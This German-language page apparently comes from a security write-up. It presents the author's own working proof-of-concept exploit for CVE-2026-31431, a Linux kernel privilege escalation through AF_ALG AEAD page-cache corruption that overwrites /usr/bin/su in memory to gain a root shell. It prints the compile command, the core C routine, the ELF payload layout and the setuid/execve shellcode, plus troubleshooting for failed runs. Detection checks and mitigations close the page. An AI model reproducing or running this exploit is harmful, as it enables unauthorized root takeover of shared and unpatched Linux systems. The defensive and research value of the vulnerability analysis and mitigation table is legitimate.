
Arbeitsfähiger Proof-of-Concept-Exploit für CVE-2026-31431, eine lokale Privilegieneskalation im Linux-Kernel über AF_ALG-AEAD-Page-Cache-Korruption, die eine Root-Shell gewährt.
2026-04-29 — Ich veröffentliche diesen Exploit einen Tag, nachdem ich ihn im MyDigitalLife-Forum geteilt habe. Er benötigt kein Python; er ist in C geschrieben und mit folgendem Befehl auf die kleinstmögliche Größe kompiliert:
musl-gcc -static -Os -o exploit exploit.c -sKritische Bedrohung. Die Exploit-Binärdatei ist ohne Abhängigkeiten kompiliert und kann zum Testen auf Schwachstellen auf jedem Linux-System verwendet werden.
CVE-2026-31431 ist eine von NIST bestätigte Schwachstelle im Linux-Kernel, die es einem nicht privilegierten lokalen Benutzer ermöglicht, innerhalb von Sekunden eine
root-Shell zu erhalten. Angesichts des öffentlich kursierenden Exploits für CVE-2026-31431 habe ich einen binären Proof-of-Concept (PoC) entwickelt, um die Gefährdung unserer internen Infrastruktur zu bewerten. Während einige Umgebungen die Verwendung von su einschränken, ist diese Schwachstelle für gemeinsam genutzte Server besonders kritisch, da sie die zugrunde liegende Kernel-Speicherverwaltung angreift. Folglich kann jede SETUID-Binärdatei — einschließlich sudo, passwd, mount oder newgrp — genutzt werden, um den Exploit auszulösen und eine root-Shell zu gewähren. Sofortiges administratives Handeln zum Patchen des Kernels ist erforderlich, da Standard-Benutzerraum-Einschränkungen nicht ausreichen, um diese Bedrohung zu entschärfen. Jedes Linux-System mit einem ungepatchten Kernel ist gefährdet.
Mein eigener funktionierender Exploit · Linux-Kernel · AF_ALG-Kryptografieschnittstelle (AEAD)
Ersetzt /usr/bin/su im Kernel-Page-Cache, ohne die Datei auf der Festplatte zu verändern
Lokaler Shell-Zugriff ist ausreichend — keine zusätzlichen Privilegien erforderlich
Betrifft ungepatchte Linux-Distributionen

CVE-2026-31431 ist ein Fehler in der Verarbeitung von Scatter-Gather-I/O-Operationen und Page-Cache-Referenzen im kryptografischen Subsystem des Linux-Kernels — insbesondere in der AF_ALG-Socket-Implementierung für AEAD-Algorithmen (crypto/af_alg.c, crypto/aead.c).
| Eigenschaft | Wert |
|---|---|
| Kennung | CVE-2026-31431 |
| Referenz | NIST NVD |
| Typ | Lokale Rechteausweitung (LPE) |
| Komponente | Linux-Kernel — AF_ALG / AEAD (authencesn) |
| Erforderlicher Zugriff | Nicht privilegierter lokaler Benutzer |
| Auswirkung | Interaktive root-Shell |
| Exploit-Status | Funktionierender PoC öffentlich auf GitHub verfügbar |
| Persistenz | Keine — die Änderung existiert nur im RAM; ein Neustart stellt den ursprünglichen Zustand wieder her |
Der Linux-Kernel stellt Benutzerprozessen über AF_ALG-Sockets eine kryptografische Schnittstelle bereit. Die Schwachstelle liegt darin, dass der Kernel während einer AEAD-Entschlüsselungsoperation die Entschlüsselungsausgabe fälschlicherweise direkt auf die Page-Cache-Seiten der Quelldatei abbildet — anstatt auf einen temporären Puffer. Ein Angreifer kann dadurch den Inhalt einer beliebigen Datei im Speicher überschreiben, ohne sie auf der Festplatte zu verändern, ohne root-Rechte und ohne sichtbare Spuren im Dateisystem zu hinterlassen.
| System | Status |
|---|---|
| Ubuntu 24.04 (bare Metal / VM) | ⚠️ Verwundbar bei ungepatchtem Kernel |
| Debian, Fedora, Arch bei ungepatchtem Kernel | ⚠️ Verwundbar |
Distributionen mit CONFIG_SECURITY_LOCKDOWN_LSM | ✅ Wahrscheinlich geschützt |
Systeme mit nosuid oder ProtectSUID (systemd) | ✅ Geschützt |
Systeme mit AppArmor/SELinux, die AF_ALG blockieren | ✅ Geschützt |
| macOS, Windows (nativ) | ✅ Nicht betroffen |
Der Exploit besteht aus zwei Komponenten: einem Hilfsskript unter /tmp/x und einer Korruptionsschleife basierend auf AF_ALG. Im Folgenden finden Sie eine exakte Schritt-für-Schritt-Beschreibung basierend auf der Quellcode-Analyse:
1. Einrichtung des Hilfsskripts
Der Exploit erstellt /tmp/x mit folgendem Inhalt:
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh
Er setzt die Berechtigungen auf 0755. Der Grund: /usr/bin/su entfernt Umgebungsvariablen (einschließlich TERM) beim Start. Das Hilfsskript stellt sie wieder her, bevor es die echte Shell startet, und gewährleistet so ein funktionsfähiges Terminal.
2. Konstruktion des ELF-Payloads
Eine minimale 158-Byte-x86_64-ELF-Binärdatei mit rohem Shellcode wird im Speicher erstellt. Die Zeichenkette /bin/sh an Offset 150 wird dann über memcmp/memcpy zu /tmp/x\0 gepatcht. Details finden Sie unter ELF-Payload.
3. Öffnen von /usr/bin/su im Nur-Lese-Modus
int su_fd = open("/usr/bin/su", O_RDONLY);
Die Datei wird nur lesend geöffnet — der Exploit benötigt keinerlei Schreibrechte.
4. Korruptionsschleife — 39 Iterationen à 4 Bytes
Der Payload (158 Bytes) wird in 4-Byte-Blöcken verarbeitet (39 vollständige Blöcke). Jeder Block wird durch corrupt_binary_chunk() geleitet, das Folgendes ausführt:
AF_ALG-Socket (SOCK_SEQPACKET)authencesn(hmac(sha256),cbc(aes)) — einen zusammengesetzten AEAD-Algorithmusop_sock)sendmsg mit einem 8-Byte-Puffer (4× 'A' + 4 Payload-Bytes) und drei CMSGs: ALG_OP_DECRYPT, IV (20 Bytes), assoclen=8splice aus: su_fd → pipe → op_sock (Zero-Copy durch den Kernel)recv() ab — hier überschreibt der Kernel fälschlicherweise den Page-Cache5. Ausführung
execve("/usr/bin/su", args, NULL);
Der Kernel lädt /usr/bin/su über den Page-Cache — der nun vergiftet ist. Das SUID-Bit (chmod u+s) ist intakt, sodass der Kernel die Datei als root ausführt. Der Shellcode führt setuid(0) → execve("/tmp/x") → interaktive root-Shell aus.
flowchart TD
A[Nicht privilegierter lokaler Benutzer] --> B["Erstellt /tmp/x Hilfsskript\nchmod 0755"]
B --> C["Erstellt 158-Byte-ELF-Payload\nPatch: /bin/sh → /tmp/x"]
C --> D["open /usr/bin/su O_RDONLY\nKeine Schreibrechte nötig"]
D --> E[Schleife: 39 Blöcke à 4 Bytes]
E --> F[socket AF_ALG SOCK_SEQPACKET]
F --> G["bind: authencesn hmac sha256 cbc aes"]
G --> H["setsockopt: 72B Schlüssel + authsize=4"]
H --> I[accept → op_sock]
I --> J["sendmsg: 8B Daten + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
J --> K["splice: su_fd → pipe → op_sock\nZero-Copy durch Kernel"]
K --> L[recv → AEAD-Operation abschließen]
L --> M["KERNEL-FEHLER: Entschlüsselungsausgabe\nüberschreibt Page-Cache von su_fd"]
M --> N{Nächster Block?}
N -->|Ja| E
N -->|Nein| O["execve /usr/bin/su"]
O --> P["Kernel lädt /usr/bin/su\naus vergiftetem Page-Cache"]
P --> Q["SUID-Bit intakt\nKernel führt als root aus"]
Q --> R["Shellcode: setuid 0 Syscall 105"]
R --> S["execve /tmp/x Syscall 59"]
S --> T[Interaktive root-Shell]
Wichtige Abschnitte von exploit.c werden unten überprüft:
corrupt_binary_chunk()Das Herzstück des Exploits. Jeder Aufruf koordiniert eine vollständige AF_ALG-Transaktion:
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
// Erstellt AF_ALG-Socket und bindet an AEAD authencesn(hmac(sha256),cbc(aes))
alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));
// 72-Byte-Schlüssel + Authentifizierungs-Tag-Größe = 4 Bytes
setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); // 72B
setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
op_sock = accept(alg_sock, NULL, NULL);
// Puffer: 4x 'A' als assoziierte Daten + 4 Payload-Bytes
unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};
// 3 CMSGs: DECRYPT-Operation / IV (20B, erstes Byte 0x10) / assoclen=8
// sendmsg mit MSG_MORE — Daten noch nicht vollständig
sendmsg(op_sock, &msg, MSG_MORE);
// Zero-Copy-Splice: su_fd → pipe → op_sock (offset+4 Bytes)
splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);
// recv schließt die Operation ab — der Kernel schreibt hier fälschlicherweise in den Page-Cache von su_fd
recv(op_sock, dummy, 8 + offset, 0);
}
for (size_t i = 0; i < len; i += 4) {
if (i + 4 > len) break; // überspringt die letzten 2 Bytes (158 % 4 = 2)
corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 vollständige Blöcke × 4 Bytes = 156 Bytes angewendet
Der Payload ist eine eigenständige 158-Byte-x86_64-ELF-Binärdatei mit rohem Shellcode — kein dynamischer Linker, keine externen Bibliotheken.
| Feld | Details |
|---|---|
| Gesamtgröße | 158 Bytes |
| ELF-Header | 120 Bytes (e_type=2 EXEC, e_machine=62 x86_64) |
| Einstiegspunkt | 0x00400078 = Offset 120 (unmittelbar nach dem Header) |
| Shellcode | 30 Bytes (Offsets 120–149) |
| Zielzeichenkette | 8 Bytes an Offset 150 (/bin/sh\0 → gepatcht zu /tmp/x\0) |
| 4-Byte-Blöcke | 39 vollständige (156 Bytes); die letzten 2 Bytes werden übersprungen |
; Offset 120 — Einstiegspunkt 0x400078
xor eax, eax ; eax = 0
xor edi, edi ; edi = 0 (uid = 0)
mov al, 105 ; Syscall setuid(0)
syscall
lea rdi, [rip+0xf] ; rdi → "/tmp/x\0" (Offset 150)
xor esi, esi ; argv = NULL
push 59
pop rax ; Syscall execve
cdq ; rdx = 0 (envp = NULL)
syscall
xor edi, edi
push 60
pop rax ; Syscall exit(0)
syscall
; Offset 150
db "/tmp/x", 0, 0 ; (gepatcht von "/bin/sh\0")
uname -r
Vergleichen Sie die Ausgabe mit der von NIST veröffentlichten Liste verwundbarer Versionen: nvd.nist.gov/vuln/detail/CVE-2026-31431
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG verfügbar — System könnte verwundbar sein')"
Wenn der Befehl [Errno 97] Address family not supported zurückgibt — ist das Modul deaktiviert und das Risiko deutlich geringer.
/usr/bin/su prüfenls -la /usr/bin/su
Wenn das s-Bit vorhanden ist (z. B. -rwsr-xr-x) — hat /usr/bin/su SUID gesetzt und ist der Angriffsvektor.
| Gegenmaßnahme | Anwendung | Wirksamkeit |
|---|---|---|
| Kernel-Update | sudo apt update && sudo apt upgrade + Neustart | ✅ Vollständig (wenn Patch verfügbar) |
| AF_ALG-Modul auf die Blacklist setzen | echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf | ✅ Blockiert den Angriffsvektor |
SUID von su entfernen | sudo chmod u-s /usr/bin/su | ✅ Blockiert diesen Exploit (Hinweis: su funktioniert dann nicht mehr) |
/tmp mit noexec mounten | /etc/fstab bearbeiten: tmpfs /tmp tmpfs noexec,nosuid 0 0 | ⚠️ Teilweise — blockiert /tmp/x, der Exploit könnte einen anderen Pfad verwenden |
| AppArmor / SELinux | Profil, das AF_ALG socket für nicht privilegierte Benutzer blockiert | ✅ Wirksam bei korrekter Konfiguration |
# AF_ALG-Modul entladen, falls nicht benötigt
sudo modprobe -r af_alg 2>/dev/null || echo "Modul ist in den Kernel eingebaut — kann nicht entladen werden"
# Alternativ — SUID vorübergehend entfernen
sudo chmod u-s /usr/bin/su
Dieser Abschnitt richtet sich an Sicherheitsforscher, die die Schwachstelle in einer isolierten Umgebung analysieren.
socket() oder bind() schlägt fehlSymptom: perror("socket") oder perror("bind") löst einen Abbruch aus.
Ursachen:
AF_ALG oder den authencesn-Algorithmus nicht — prüfen: cat /proc/crypto | grep authencesnsudo modprobe hmac sha256 cbc aead authencesnAF_ALG-Sockets — Protokolle prüfen: dmesg | tail -20splice() gibt EPERM / EINVAL zurückSymptom: Splice-Operation wird vom Kernel abgelehnt.
Ursachen:
su_fd auf eine reguläre Datei zeigt, nicht auf einen Symlink oder ein Gerätdmesg auf Audit-Log-Einträge, die Zero-Copy in Krypto-Sockets blockierenexecve startet eine normale Benutzer-ShellSymptom: Keine root-Eingabeaufforderung; id zeigt die ursprüngliche UID.
Ursachen:
/usr/bin/su hat das SUID-Bit nicht — ls -la /usr/bin/su, das s-Bit muss sichtbar seinexecve geleert worden sein — sync hinzufügen oder die Schleifenverzögerung reduzieren/tmp/x nicht gefunden oder TERM fehltSymptom: Shell startet, aber die Terminaldarstellung ist gestört.
Ursachen:
/tmp beschreibbar und nicht mit noexec gemountet ist/tmp/x muss die Berechtigung 0755 haben — prüfen: ls -la /tmp/xexecve("/tmp/x") fehlschlägt — kann der Shellcode neu gepatcht werden, um /bin/sh direkt zu verwendenWARNUNG: Dieses Dokument wird ausschließlich zu Informations-, Bildungs- und Verteidigungszwecken veröffentlicht. Es beschreibt eine öffentlich bekannte Bedrohung, die von NIST identifiziert und von der Sicherheitsgemeinschaft gemeldet wurde. Das Ausführen des Exploits auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben, kann gegen geltende Gesetze verstoßen und strafrechtliche Konsequenzen haben. Testen Sie nur in isolierten Laborumgebungen.
Alle Marken sind Eigentum ihrer jeweiligen Inhaber. Linux und verwandte Marken sind Marken der Linux Foundation.
Zuletzt aktualisiert: 2026-04-29